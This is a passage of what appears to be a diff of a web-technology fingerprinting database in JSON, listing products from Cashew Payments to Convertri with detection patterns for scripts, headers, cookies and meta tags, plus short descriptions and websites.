}, - "Cashew Payments": { - "headers": { - "content-security-policy": "\\.cashewpayments\\.com" - }, - "description": "Cashew Payments is a buy now, pay later platform that allows its customers to shop now and pay later in equal monthly installments.", - "website": "https://www.cashewpayments.com" - }, - "Catberry.js": { - "js": [ - "catberry", - "catberry.version" - ], - "headers": { - "x-powered-by": "catberry" - }, - "implies": [ - "Node.js" - ], - "website": "https://catberry.github.io/" - }, - "Catch": { - "js": [ - "catch" - ], - "description": "Catch is a payment solution which allows merchants to use payments via bank payments instead of credit/debit cards.", - "website": "https://www.getcatch.com/" - }, - "Catch Themes Catch Box": { - "description": "Catch Box is a lightweight, box shaped, clean responsive WordPress theme by Catch Themes.", - "website": "https://catchthemes.com/themes/catch-box" - }, - "Catch Themes Fotografie": { - "description": "Fotografie is a modern photography WordPress theme that comes with high-quality features and minimal design by Catch Themes.", - "website": "https://catchthemes.com/themes/fotografie" - }, - "Cecil": { - "meta": { - "generator": [ - "^cecil(?: ([0-9.]+))?$\\;version:\\1" - ] - }, - "description": "Cecil is a CLI application, powered by PHP, that merge plain text files (written in Markdown), images and Twig templates to generate a static website.", - "website": "https://cecil.app" - }, - "Celeritas": { - "description": "Celeritas offers transportation logistics services for package deliveries.", - "website": "https://celeritastransporte.com" - }, - "Celum": { - "description": "Celum is a software developer that specialises in enterprise digital asset management and marketing content management systems.", - "website": "https://www.celum.com" - }, - "Cendyn": { - "headers": { - "x-powered-by": "^nextguest cms" - }, - "description": "Cendyn (formerly NextGuest) is a hospitality focused content management system.", - "website": "https://www.cendyn.com" - }, - "Censhare": { - "description": "Censhare is a commercial digital experience platform in the form of an enterprise content management system.", - "website": "https://www.censhare.com" - }, - "CentOS": { - "headers": { - "server": "centos", - "x-powered-by": "centos" - }, - "description": "CentOS is a Linux distribution that provides a free, community-supported computing platform functionally compatible with its upstream source, Red Hat Enterprise Linux (RHEL).", - "website": "http://centos.org" - }, - "Centminmod": { - "headers": { - "x-powered-by": "centminmod" - }, - "implies": [ - "CentOS", - "Nginx", - "PHP" - ], - "website": "https://centminmod.com" - }, - "Centra": { - "js": [ - "centra_image_sizes" - ], - "headers": { - "content-security-policy": "\\.centra(?:cdn)?\\.(?:com|net)" - }, - "description": "Centra is the headless ecommerce platform.", - "website": "https://centra.com" - }, - "Chabokan": { - "headers": { - "ch-powered-by": "chabokan\\s\\(chabokan\\.net\\)" - }, - "description": "Chabokan is a cloud services provider, offering a wide range of incorporated cloud services including Cloud Object Storage, DBaaS, BaaS, and PaaS.", - "website": "https://chabokan.net" - }, - "Chakra UI": { - "implies": [ - "React" - ], - "description": "Chakra UI is a simple, modular and accessible component library that gives you the building blocks you need to build your React applications.", - "website": "https://chakra-ui.com" - }, - "Chameleon": { - "js": [ - "chmlndata.organizationattributes", - "chmln.snippet.urls.fast" - ], - "description": "Chameleon is a sophisticated no-code platform for product success, empowering SaaS teams to build self-service user onboarding, feature adoption, and feedback collection.", - "website": "https://www.trychameleon.com" - }, - "Chameleon system": { - "meta": { - "generator": [ - "chameleon cms/shop system" - ] - }, - "description": "Chameleon system is an ecommerce and content management system all-in-one, capable of being integrated straight from the manufacturer.", - "website": "https://www.chameleon-system.de" - }, - "Chamilo": { - "headers": { - "x-powered-by": "chamilo ([\\d.]+)\\;version:\\1" - }, - "meta": { - "generator": [ - "chamilo ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Chamilo is an open-source learning management and collaboration system.", - "website": "http://www.chamilo.org" - }, - "Channel.io": { - "js": [ - "channelio" - ], - "description": "Channel.io is an all-in-one business communication platform that helps businesses connect with customers.", - "website": "https://channel.io" - }, - "ChannelAdvisor": { - "description": "ChannelAdvisor is a provider of cloud-based solutions to ecommerce companies.", - "website": "https://www.channeladvisor.com" - }, - "ChannelApe": { - "description": "ChannelApe is an ecommerce and inventory management solution for the footwear and apparel industry.", - "website": "https://www.channelape.com" - }, - "Chaport": { - "js": [ - "chaportconfig", - "chaport" - ], - "description": "Chaport is a multi-channel live chat and chatbot software for business.", - "website": "https://www.chaport.com" - }, - "ChargeAfter": { - "js": [ - "chargeafter" - ], - "description": "ChargeAfter is a platform that connects retailers and lenders to offer consumers personalized Point of Sale Financing options at checkout from multiple lenders. ", - "website": "https://chargeafter.com/" - }, - "Chargebee": { - "js": [ - "chargebee", - "chargebeetrackfunc" - ], - "description": "Chargebee is a PCI Level 1 certified recurring billing platform for SaaS and subscription-based businesses.", - "website": "https://www.chargebee.com" - }, - "Chart.js": { - "js": [ - "chart", - "chart.defaults.doughnut", - "chart.ctx.beziercurveto" - ], - "description": "Chart.js is an open-source JavaScript library that allows you to draw different types of charts by using the HTML5 canvas element.", - "website": "https://www.chartjs.org" - }, - "Chartbeat": { - "js": [ - "_sf_async_config", - "_sf_endpt" - ], - "website": "http://chartbeat.com" - }, - "ChatStack": { - "js": [ - "chatstack.chatstate", - "chatstack.server" - ], - "description": "ChatStack is a self-hosted live chat software for websites.", - "website": "https://www.chatstack.com" - }, - "Chatango": { - "description": "Chatango is a website used for connecting to a large selection of users.", - "website": "https://chatango.com" - }, - "Chatra": { - "js": [ - "chatraid", - "chatrasetup" - ], - "description": "Chatra is a cloud-based live chat platform aimed at small businesses and ecommerce retailers.", - "website": "https://chatra.com" - }, - "Chatwoot": { - "js": [ - "$chatwoot", - "chatwootsdk" - ], - "description": "Chatwoot is a customer support tool for instant messaging channels.", - "website": "https://www.chatwoot.com" - }, - "Checkfront": { - "description": "Checkfront is a cloud-based booking management application and ecommerce platform.", - "website": "https://www.checkfront.com" - }, - "Checkly": { - "js": [ - "__nuxt__.config.public.apiurl" - ], - "description": "Checkly is the API and E2E monitoring platform for the modern stack: programmable, flexible and loving JavaScript.", - "website": "https://www.checklyhq.com" - }, - "Checkout.com": { - "description": "Checkout.com is an international payment platform that processes different payment methods across a variety of currencies.", - "website": "https://www.checkout.com" - }, - "Chekkit": { - "js": [ - "chekkitsettings.togglechat" - ], - "description": "Chekkit is an all-in-one review, messaging, and lead inbox software.", - "website": "https://www.chekkit.io" - }, - "Cherokee": { - "headers": { - "server": "^cherokee(?:/([\\d.]+))?\\;version:\\1" - }, - "website": "http://www.cherokee-project.com" - }, - "CherryPy": { - "headers": { - "server": "cherrypy(?:/([\\d.]+))?\\;version:\\1" - }, - "description": "CherryPy is an object-oriented web application framework using the Python programming language.", - "website": "https://cherrypy.org/" - }, - "Chevereto": { - "js": [ - "chevereto.version" - ], - "meta": { - "generator": [ - "chevereto\\s(?:[\\d\\.]+)" - ] - }, - "implies": [ - "PHP" - ], - "description": "Chevereto is an image hosting software that allows you to create a full-featured image hosting website on your own server.", - "website": "https://chevereto.com" - }, - "Chicago Boss": { - "cookies": { - "_boss_session": "" - }, - "implies": [ - "Erlang" - ], - "description": "Chicago Boss is a web framework for Erlang.", - "website": "https://github.com/ChicagoBoss/ChicagoBoss" - }, - "Chili Piper": { - "js": [ - "chilipiper" - ], - "description": "Chili Piper is a suite of automated scheduling tools that help revenue teams convert leads.", - "website": "https://www.chilipiper.com/" - }, - "Chimpmatic": { - "implies": [ - "Contact Form 7", - "MailChimp" - ], - "description": "Chimpmatic is a premium Contact Form 7 and Mailchimp integration plugin.", - "website": "https://chimpmatic.com" - }, - "Chinese Menu Online": { - "description": "Chinese Menu Online is an online food ordering service.", - "website": "https://www.chinesemenuonline.com" - }, - "Chitika": { - "js": [ - "ch_client", - "ch_color_site_link" - ], - "website": "http://chitika.com" - }, - "Choices": { - "js": [ - "choices" - ], - "description": "Choices.js is a lightweight, configurable select box/text input plugin.", - "website": "https://github.com/Choices-js/Choices" - }, - "Chord": { - "js": [ - "chordconnect", - "chordconnect.__esmodule" - ], - "description": "Chord is a video-enabled social community and communication platform completely customised to your brand.", - "website": "https://m.chord.us" - }, - "Chorus": { - "cookies": { - "_chorus_geoip_continent": "", - "chorus_preferences": "" - }, - "js": [ - "chorusads.beforeadsrequested", - "choruscampaigns.recordclickurl", - "chorus.addscript" - ], - "description": "Chorus is the only all-in-one publishing, audience, and revenue platform built for modern media companies.", - "website": "https://getchorus.voxmedia.com" - }, - "Chronofresh": { - "description": "Chronofresh is an express transport service for food products.", - "website": "https://www.chronofresh.fr" - }, - "Chronopost": { - "description": "Chronopost provides a domestic and international express shipping and delivery service.", - "website": "https://www.chronopost.fr" - }, - "ChurnZero": { - "js": [ - "churnzero", - "churnzero.version" - ], - "description": "ChurnZero is a real-time customer success platform that helps subscription businesses fight customer churn.", - "website": "https://churnzero.net" - }, - "CitrusPay": { - "description": "CitrusPay provides payement gateway and wallet services.", - "website": "https://consumers.citruspay.com/" - }, - "City Hive": { - "js": [ - "cityhivesites", - "cityhivewebsitename" - ], - "description": "City Hive's all in one ecommerce platform for wine and spirit shops.", - "website": "https://www.cityhive.net" - }, - "CityMail": { - "description": "CityMail is a private postal organisation operating in Sweden.", - "website": "https://www.citymail.se" - }, - "CiviCRM": { - "description": "CiviCRM is a web-based suite of internationalised open-source software for constituency relationship management.", - "website": "https://civicrm.org" - }, - "CiviCRM plugins": { - "implies": [ - "CiviCRM" - ], - "description": "CiviCRM is a web-based suite of internationalised open-source software for constituency relationship management.", - "website": "https://wordpress.org/plugins/search/civicrm/" - }, - "CivicTheme": { - "description": "CivicTheme is an open source, inclusive and component-based design system. It was created so governments and corporations can rapidly assemble modern, consistent and compliant digital experiences.", - "website": "https://www.civictheme.io/" - }, - "Ckan": { - "headers": { - "access-control-allow-headers": "x-ckan-api-key", - "link": "\u003chttp://ckan\\.org/\u003e; rel=shortlink" - }, - "meta": { - "generator": [ - "^ckan ?([0-9.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Python", - "Solr", - "Java", - "PostgreSQL" - ], - "website": "https://ckan.org/" - }, - "Clarip": { - "js": [ - "pagedata.claripconsentjsurl", - "claripcdnhost", - "clariphost" - ], - "description": "Clarip is an enterprise data privacy and risk management platform.", - "website": "https://www.clarip.com" - }, - "Claris FileMaker": { - "description": "Claris FileMaker is a cross-platform relational database application from Claris International.", - "website": "https://www.claris.com/filemaker" - }, - "Clarity": { - "js": [ - "clarityicons" - ], - "implies": [ - "Angular" - ], - "description": "Clarity is an open-source design system that brings together UX guidelines, an HTML/CSS framework, and Angular components.", - "website": "https://clarity.design" - }, - "Classeh": { - "meta": { - "author": [ - "^fanavar\\.org$" - ] - }, - "implies": [ - "PHP", - "React", - "Python" - ], - "description": "Classeh is a LMS that allows user to participate in webinars and also use LMS options like messanger,finances,homework,quiz and some extra options like sending messages and more.", - "website": "https://fanavar.org" - }, - "Classy": { - "js": [ - "classy.clientid" - ], - "description": "Classy is an online fundraising platform.", - "website": "https://www.classy.org/" - }, - "ClearSale": { - "js": [ - "csdm" - ], - "description": "ClearSale offers fraud management and chargeback protection services.", - "website": "https://www.clear.sale/" - }, - "Clearbit Reveal": { - "description": "Clearbit Reveal identifies anonymous visitors to websites.", - "website": "https://clearbit.com/reveal" - }, - "Clerk": { - "js": [ - "clerk.authenticatewithmetamask", - "clerk.opensignin", - "clerk.version" - ], - "description": "Clerk is a user management platform.", - "website": "https://clerk.dev" - }, - "Clerk.io": { - "js": [ - "__clerk_q", - "__clerk_cb_0" - ], - "description": "Clerk.io is an all-in-one ecommerce personalisation platform.", - "website": "https://clerk.io" - }, - "CleverTap": { - "js": [ - "clevertap" - ], - "description": "CleverTap is a SaaS based customer lifecycle management and mobile marketing company headquartered in Mountain View, California.", - "website": "https://clevertap.com" - }, - "Cleverbridge": { - "js": [ - "cbcartproductselection" - ], - "description": "Cleverbridge is a all-in-one ecommerce and subscription billing solution for software, (SaaS) and digital goods.", - "website": "https://www.cleverbridge.com" - }, - "Click \u0026 Pledge": { - "description": "Click \u0026 Pledge is an all-in-one digital fundraising platform.", - "website": "https://clickandpledge.com" - }, - "ClickCease": { - "description": "ClickCease is an ad fraud and click-fraud detection and protection service software.", - "website": "https://www.clickcease.com" - }, - "ClickDimensions": { - "js": [ - "clickdimensions" - ], - "description": "ClickDimensions is a SaaS marketing automation platform built on the Microsoft Windows Azure platform.", - "website": "https://clickdimensions.com" - }, - "ClickFunnels": { - "js": [ - "cfappdomain", - "cfsurveyparticipantid", - "clickfunnels", - "cfaddpolyfill" - ], - "meta": { - "cf:app_domain:": [ - "app\\.clickfunnels\\.com" - ] - }, - "description": "ClickFunnels is an online sales funnel builder that helps businesses market, sell, and deliver their products online.", - "website": "https://www.clickfunnels.com" - }, - "ClickHeat": { - "js": [ - "clickheatserver" - ], - "implies": [ - "PHP" - ], - "website": "http://www.labsmedia.com/clickheat/index.html" - }, - "ClickTale": { - "js": [ - "clicktale", - "clicktaleevent", - "clicktaleglobal", - "clicktalestarteventsignal" - ], - "description": "ClickTale is a SaaS solution enabling organisations to gain visual in-page analytics.", - "website": "http://www.clicktale.com" - }, - "Clickbank": { - "js": [ - "cbtb" - ], - "website": "https://www.clickbank.com/" - }, - "Clicky": { - "js": [ - "clicky" - ], - "description": "Clicky is web an analytics tool which helps you to get real-time analysis including spy view.", - "website": "http://getclicky.com" - }, - "ClientJS": { - "js": [ - "clientjs" - ], - "description": "ClientJS is a JavaScript library for generating browser fingerprints, exposing all the browser data-points.", - "website": "http://clientjs.org" - }, - "ClientXCMS": { - "js": [ - "clientxcmscurrency" - ], - "description": "ClientXCMS is a content management system that provides a drag-and-drop interface, customisable templates, user and media management, and website analytics to help businesses manage their website content.", - "website": "https://clientxcms.com" - }, - "Clinch": { - "description": "Clinch delivers hyper-personalized creative experiences and consumer intelligence across all channels.", - "website": "https://clinch.co/" - }, - "Clipboard.js": { - "website": "https://clipboardjs.com/" - }, - "Clockwork": { - "headers": { - "x-clockwork-version": "^([\\d\\.]+)$\\;version:\\1" - }, - "implies": [ - "PHP" - ], - "description": "Clockwork is a development tool for PHP available right in your browser.", - "website": "https://github.com/underground-works/clockwork-app" - }, - "CloudCart": { - "meta": { - "author": [ - "^cloudcart llc$" - ] - }, - "website": "http://cloudcart.com" - }, - "CloudSuite": { - "cookies": { - "cs_secure_session": "" - }, - "website": "https://cloudsuite.com" - }, - "Cloudbeds": { - "js": [ - "cloudbeds_widget" - ], - "description": "Cloudbeds is a cloud-based hotel management platform which includes tools for managing reservations, availability, rates, distribution channels, payments, guests, housekeeping, and more.", - "website": "https://www.cloudbeds.com" - }, - "Cloudera": { - "headers": { - "server": "cloudera" - }, - "description": "Cloudera is a software platform for data engineering, data warehousing, machine learning and analytics that runs in the cloud or on-premises.", - "website": "http://www.cloudera.com" - }, - "Cloudflare": { - "cookies": { - "__cfduid": "" - }, - "js": [ - "cloudflare" - ], - "headers": { - "cf-cache-status": "", - "cf-ray": "", - "server": "^cloudflare$" - }, - "meta": { - "image": [ - "//cdn\\.cloudflare" - ] - }, - "description": "Cloudflare is a web-infrastructure and website-security company, providing content-delivery-network services, DDoS mitigation, Internet security, and distributed domain-name-server services.", - "website": "http://www.cloudflare.com" - }, - "Cloudflare Bot Management": { - "cookies": { - "__cf_bm": "" - }, - "implies": [ - "Cloudflare" - ], - "description": "Cloudflare bot management solution identifies and mitigates automated traffic to protect websites from bad bots.", - "website": "https://www.cloudflare.com/en-gb/products/bot-management/" - }, - "Cloudflare Browser Insights": { - "js": [ - "__cfbeaconcustomtag" - ], - "description": "Cloudflare Browser Insights is a tool tool that measures the performance of websites from the perspective of users.", - "website": "http://www.cloudflare.com" - }, - "Cloudflare Rocket Loader": { - "js": [ - "__cfqr.done", - "__cfrlunblockhandlers" - ], - "description": "Cloudflare Rocket Loader is responsible for prioritising over website's content by delaying the loading of Javascript until rendering.", - "website": "https://support.cloudflare.com/hc/en-us/articles/200168056-Understanding-Rocket-Loader" - }, - "Cloudflare Stream": { - "description": "Cloudflare Stream is a serverless live and on-demand video streaming platform.", - "website": "https://www.cloudflare.com/products/cloudflare-stream" - }, - "Cloudflare Turnstile": { - "js": [ - "turnstile" - ], - "description": "Turnstile is Cloudflare's smart CAPTCHA alternative.", - "website": "https://www.cloudflare.com/products/turnstile" - }, - "Cloudflare Workers": { - "implies": [ - "Cloudflare" - ], - "description": "Cloudflare Workers is a serverless execution environment that allows you to create entirely new applications or augment existing ones without configuring or maintaining infrastructure.", - "website": "https://workers.cloudflare.com" - }, - "Cloudflare Zaraz": { - "js": [ - "zaraz", - "zarazdata" - ], - "description": "Cloudflare Zaraz gives you complete control over third-party tools and services for your website, and allows you to offload them to Cloudflare’s edge, improving the speed and security of your website.", - "website": "https://www.cloudflare.com/products/zaraz/" - }, - "Cloudify.store": { - "cookies": { - "cloudify_session": "" - }, - "implies": [ - "PHP", - "MySQL", - "React" - ], - "description": "Cloudify.store is a subscription-based platform that allows anyone to set up a hyperlocal quick commerce business.", - "website": "https://cloudify.store" - }, - "Cloudimage": { - "js": [ - "ciresponsive.config.domain" - ], - "description": "Cloudimage automates the transformation and optimisation of images on the fly and accelerates their distribution via the Content Delivery Network (CDN).", - "website": "https://www.cloudimage.io" - }, - "Cloudinary": { - "js": [ - "_cloudinary" - ], - "headers": { - "content-security-policy": "player\\.cloudinary\\.com" - }, - "description": "Cloudinary is an end-to-end image- and video-management solution for websites and mobile apps, covering everything from image and video uploads, storage, manipulations, optimisations to delivery.", - "website": "https://cloudinary.com" - }, - "Cloudrexx": { - "meta": { - "generator": [ - "^cloudrexx$" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "Cloudrexx is a proprietary content management system that provides customisable templates and built-in modules for managing content, ecommerce, events, newsletters, and more, along with tools for SEO, social media integration, and multilingual support.", - "website": "https://www.cloudrexx.com" - }, - "Cloudways": { - "headers": { - "cache-provider": "cloudways-cache-de" - }, - "description": "Cloudways offers managed cloud-hosting services for WordPress sites on a cloud server where multiple copies of your content will be replicated throughout your chosen data center.", - "website": "https://www.cloudways.com" - }, - "Cloverly": { - "js": [ - "removecloverly" - ], - "description": "Cloverly is an API integration for ethical ecommerce brands to help their customers offset the carbon footprint of their online transactions.", - "website": "https://www.cloverly.com" - }, - "Cluep": { - "description": "Cluep's artificially intelligent mobile ad platform targets people based on what they are sharing, how they are feeling and where they go in the physical world.", - "website": "https://cluep.com/" - }, - "ClustrMaps Widget": { - "description": "ClustrMaps widget is a visitor tracker, designed for general web and blog use.", - "website": "https://clustrmaps.com/" - }, - "Clutch": { - "description": "Clutch review widgets are stand-alone applications that you can embed on your website to show your dynamic ratings and reviews.", - "website": "https://clutch.co/content/add-review-widget-your-website" - }, - "CoConstruct": { - "website": "https://www.coconstruct.com" - }, - "CoRover": { - "js": [ - "corover_tag" - ], - "description": "CoRover is a conversational AI chatbot platform with proprietary cognitive AI technology.", - "website": "https://corover.ai" - }, - "Coaster CMS": { - "meta": { - "generator": [ - "^coaster cms v([\\d.]+)$\\;version:\\1" - ] - }, - "implies": [ - "Laravel" - ], - "website": "https://www.coastercms.org" - }, - "Cococart": { - "description": "Cococart is an ecommerce platform.", - "website": "https://www.cococart.co" - }, - "CoconutSoftware": { - "cookies": { - "coconut_calendar": "" - }, - "description": "Coconut is a cloud-based appointment scheduling solution designed for enterprise financial services organisations such as credit unions, retail banks and more.", - "website": "https://www.coconutsoftware.com/" - }, - "Cocos2d": { - "js": [ - "cocosengine" - ], - "description": "Cocos2d is a mature open source cross-platform game development framework.", - "website": "https://www.cocos.com/en/cocos2dx" - }, - "CodeIgniter": { - "cookies": { - "ci_csrf_token": "^(.+)$\\;version:\\1?2+:", - "ci_session": "", - "exp_last_activity": "", - "exp_tracker": "" - }, - "html": [ - "\u003cinput[^\u003e]+name=\"ci_csrf_token\"\\;version:2+" - ], - "implies": [ - "PHP" - ], - "website": "http://codeigniter.com" - }, - "CodeMirror": { - "js": [ - "codemirror", - "codemirror.version" - ], - "description": "CodeMirror is a JavaScript component that provides a code editor in the browser.", - "website": "http://codemirror.net" - }, - "CodeSandbox": { - "description": "CodeSandbox is an online code editor and prototyping tool that makes creating and sharing web apps faster.", - "website": "https://codesandbox.io/" - }, - "Coin Currency Converter": { - "implies": [ - "Shopify" - ], - "description": "Coin Currency Converter is an automatic currency conversion app for Shopify.", - "website": "https://apps.shopify.com/coin" - }, - "CoinHive": { - "js": [ - "coinhive" - ], - "description": "Coinhive is a cryptocurrency mining service.", - "website": "https://coinhive.com" - }, - "CoinHive Captcha": { - "description": "Coinhive Captcha provides captcha service that is simple to integrate, where your users’ devices need to solve a number of hashes, adjustable by you, in order to login or post a comment to your site.", - "website": "https://coinhive.com" - }, - "Coinbase Commerce": { - "description": "Coinbase Commerce is a platform that enables merchants to accept cryptocurrency payments.", - "website": "https://commerce.coinbase.com/" - }, - "Coinhave": { - "description": "CoinHave is a cryptocurrency mining service.", - "website": "https://coin-have.com/" - }, - "Coinimp": { - "js": [ - "client.anonymous" - ], - "description": "CoinImp is a cryptocurrency mining service.", - "website": "https://www.coinimp.com" - }, - "Colibri WP": { - "js": [ - "colibri", - "colibridata", - "colibrifrontenddata" - ], - "description": "Colibri WP is a drag-and-drop WordPress website builder.", - "website": "https://colibriwp.com" - }, - "Colis Privé": { - "description": "Colis Privé is a private parcel delivery service provider specialised in last-mile delivery.", - "website": "https://www.colisprive.fr" - }, - "Colissimo": { - "description": "Colissimo is a 'drop off' parcel delivery service.", - "website": "https://www.colissimo.entreprise.laposte.fr" - }, - "ColorMag": { - "description": "ColorMag theme is for creating news, magazine, newspaper and other kinds of publishing sites. Compatible with Elementor.", - "website": "https://themegrill.com/themes/colormag/" - }, - "ColorMeShop": { - "js": [ - "colorme" - ], - "description": "ColorMeShop is an ecommerce platform from Japan.", - "website": "https://shop-pro.jp" - }, - "Colorlib Activello": { - "js": [ - "activelloismobile" - ], - "description": "Colorlib Activello is a clean, minimal multipurpose WordPress blog theme developer using the Bootstrap frontend framework making it fully responsive and mobile-friendly.", - "website": "https://colorlib.com/wp/themes/activello" - }, - "Colorlib Illdy": { - "description": "Colorlib Illdy is a stunning multipurpose WordPress theme built based on Bootstrap frontend framework making it fully responsive and mobile friendly.", - "website": "https://colorlib.com/wp/themes/illdy" - }, - "Colorlib Shapely": { - "js": [ - "shapelyadminobject" - ], - "description": "Colorlib Shapely is considered as a powerful, clean and beautiful full-width free WordPress theme.", - "website": "https://colorlib.com/wp/themes/shapely" - }, - "Colorlib Sparkling": { - "description": "Colorlib Sparkling is a clean, modern, flat design WordPress theme developed using Bootstrap.", - "website": "https://colorlib.com/wp/themes/sparkling" - }, - "Colorlib Travelify": { - "js": [ - "travelify_slider_value" - ], - "description": "Colorlib Travelify is a responsive, free, travel WordPress theme.", - "website": "https://colorlib.com/wp/themes/travelify" - }, - "Combahton FlowShield": { - "cookies": { - "flowproxy-origin": "" - }, - "headers": { - "server": "antiddos/flowproxy", - "x-flowproxy-author": "" - }, - "description": "Combahton FlowShield is a network security solution designed to protect networks and servers from various cyber threats, including DDoS attacks, malware, and other types of malicious traffic.", - "website": "https://combahton.net" - }, - "Combeenation": { - "description": "Combeenation is a powerful cloud-based configurator platform.", - "website": "https://www.combeenation.com" - }, - "Combodo iTop": { - "description": "Combodo iTop is an open-source IT service management (ITSM) and IT operations management (ITOM) platform developed by Combodo, a software company based in France.", - "website": "https://www.combodo.com/itop-193" - }, - "Comeet": { - "js": [ - "comeetinit", - "comeet" - ], - "description": "Comeet is an Collaborative Recruiting, and Applicant Tracking System.", - "website": "https://www.comeet.com" - }, - "Comm100": { - "js": [ - "comm100api", - "comm100_chatbutton", - "comm100_livechat_open_link" - ], - "description": "Comm100 is a provider of customer service and communication products.", - "website": "https://www.comm100.com" - }, - "Commanders Act TagCommander": { - "js": [ - "tc_vars" - ], - "description": "Commanders Act TagCommander is a European company providing a tag management product designed to handle website tags.", - "website": "https://www.commandersact.com/en/solutions/tagcommander/" - }, - "Commanders Act TrustCommander": { - "description": "Commanders Act TrustCommander is a consent management platform (CMP) which allows you to comply with the general data protection regulation (GDPR) regulation in terms of collecting consent.", - "website": "https://www.commandersact.com/en/solutions/trustcommander/" - }, - "Commerce Server": { - "headers": { - "commerce-server-software": "" - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "http://commerceserver.net" - }, - "Commerce.js": { - "js": [ - "commercejsspace" - ], - "headers": { - "chec-version": ".*", - "x-powered-by": "commerce.js" - }, - "description": "Commerce.js is an API-first ecommerce platform for developers and businesses.", - "website": "https://www.commercejs.com" - }, - "Commerce7": { - "description": "Commerce7 is an ecommerce platform for wineries.", - "website": "https://commerce7.com" - }, - "Commercelayer": { - "description": "Commercelayer is a headless ecommerce platform that permits businesses to create customisable and scalable online shopping experiences via an API-first architecture that allows developers to use any programming language or framework for building ecommerce sites and applications.", - "website": "https://commercelayer.io" - }, - "Community Funded": { - "description": "Community Funded is a digital fundraising and engagement platform.", - "website": "https://www.communityfunded.com" - }, - "Complianz": { - "js": [ - "complianz.version" - ], - "description": "Complianz is a GDPR/CCPA Cookie Consent plugin that supports GDPR, DSGVO, CCPA and PIPEDA with a conditional Cookie Notice and customized Cookie Policy based on the results of the built-in Cookie Scan.", - "website": "https://complianz.io" - }, - "Concrete CMS": { - "cookies": { - "concrete5": "" - }, - "js": [ - "ccm_image_path", - "concrete" - ], - "meta": { - "generator": [ - "^concrete5(?: - ([\\d.]+)$)?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://www.concretecms.com/" - }, - "Conekta": { - "description": "Conekta is a Mexican payment platform.", - "website": "https://conekta.com" - }, - "Confer With": { - "description": "Confer With triggers live streaming video calls between shoppers and instore experts from a website, or outside a store.", - "website": "https://conferwith.io" - }, - "Congressus": { - "cookies": { - "_gat_congressus_analytics": "", - "congressus_session": "" - }, - "meta": { - "generator": [ - "^congressus\\s-\\s.+$" - ] - }, - "description": "Congressus is a Dutch-language online application for member administration, financial management, communication and a linked website with webshop.", - "website": "https://congressus.nl" - }, - "Conjured": { - "description": "Conjured provides Shopify brands with Shopify apps and custom development.", - "website": "https://conjured.co" - }, - "Connectif": { - "js": [ - "connectifinfo.store", - "connectif.version" - ], - "description": "Connectif is a marketing automation and personalisation data-first action platform, powered by AI.", - "website": "https://connectif.ai" - }, - "Constant Contact": { - "js": [ - "_ctct_m", - "ctctonloadcallback" - ], - "description": "Constant Contact is a marketing automation and email marketing solution.", - "website": "https://www.constantcontact.com" - }, - "Contabo": { - "description": "Contabo is a German hosting provider, previously known by the name Giga-International.", - "website": "https://contabo.com" - }, - "Contact Form 7": { - "js": [ - "wpcf7" - ], - "description": "Contact Form 7 is an WordPress plugin which can manage multiple contact forms. The form supports Ajax-powered submitting, CAPTCHA, Akismet spam filtering.", - "website": "https://contactform7.com" - }, - "Contao": { - "meta": { - "generator": [ - "^contao open source cms$" - ] - }, - "implies": [ - "PHP" - ], - "description": "Contao is an open source CMS that allows you to create websites and scalable web applications.", - "website": "http://contao.org" - }, - "Contenido": { - "meta": { - "generator": [ - "contenido ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://contenido.org/en" - }, - "Contensis": { - "meta": { - "generator": [ - "contensis cms version ([\\d.]+)\\;version:\\1" - ] - }, - "implies": [ - "Java", - "CFML" - ], - "website": "https://zengenti.com/en-gb/products/contensis" - }, - "ContentBox": { - "meta": { - "generator": [ - "contentbox powered by coldbox" - ] - }, - "implies": [ - "Adobe ColdFusion" - ], - "website": "http://www.gocontentbox.org" - }, - "ContentStudio": { - "description": "ContentStudio is an integrated cloud-based social media management and content marketing solution.", - "website": "https://contentstudio.io" - }, - "Contentful": { - "headers": { - "x-contentful-request-id": "" - }, - "html": [ - "\u003c[^\u003e]+(?:https?:)?//(?:assets|downloads|images|videos)\\.(?:ct?fassets\\.net|contentful\\.com)" - ], - "description": "Contentful is an API-first content management platform to create, manage and publish content on any digital channel.", - "website": "http://www.contentful.com" - }, - "Contently": { - "js": [ - "_contently.siteid" - ], - "description": "Contently is a SaaS content marketing platform from the company of the same name headquartered in New York.", - "website": "https://contently.com" - }, - "Contentsquare": { - "js": [ - "cs_conf.trackerdomain" - ], - "description": "Contentsquare is an enterprise-level UX optimisation platform.", - "website": "https://contentsquare.com" - }, - "Contentstack": { - "description": "Contentstack is a headless CMS software designed to help businesses deliver personalised content experiences to audiences via multiple channels.", - "website": "https://www.contentstack.com" - }, - "Contlo": { - "js": [ - "contlo_env" - ], - "description": "Contlo is an AI powered marketing software.", - "website": "https://www.contlo.com" - }, - "Conversant Consent Tool": { - "js": [ - "conversant" - ], - "description": "Conversant Consent Tool is a free tool to gain GDPR and ePD compliant consent for digital advertising.", - "website": "https://www.conversantmedia.eu/consent-tool" - }, - "Conversio": { - "js": [ - "conversio.settings" - ], - "description": "Conversio is an optimisation and analytics agency.", - "website": "https://conversio.com" - }, - "Conversio App": { - "implies": [ - "Conversio" - ], - "description": "Conversio App is an optimisation and analytics app for Shopify stores.", - "website": "https://apps.shopify.com/conversio" - }, - "Convert": { - "js": [ - "convert", - "convertdata", - "convert_temp" - ], - "description": "Convert Experiences is an enterprise A/B testing and personalisation solution for conversion optimisation and data-driven decisions in high-traffic websites.", - "website": "https://www.convert.com" - }, - "ConvertFlow": { - "js": [ - "convertflow" - ], - "description": "ConvertFlow is the all-in-one conversion marketing platform.", - "website": "https://www.convertflow.com" - }, - "ConvertKit": { - "description": "ConvertKit is an email marketing tool built for content creators.", - "website": "https://convertkit.com" - }, - "Convertcart": { - "description": "ConvertCart helps online businesses deliver outstanding experiences to customers throughout their journey.", - "website": "https://www.convertcart.com/" - }, - "Convertr": { - "meta": { - "author": [ - "^convertr commerce$" - ] - }, - "implies": [ - "PHP", - "MySQL", - "Vue.js", - "Nuxt.js", - "Amazon Web Services" - ], - "description": "Convertr is a Brazilian ecommerce platform, fashion specialist.", - "website": "https://convertr.com.br" - }, - "Convertri": { - "js": [ - "convertri_constants", - "convertrianalytics", - "convertriparameters" - ], - "description": 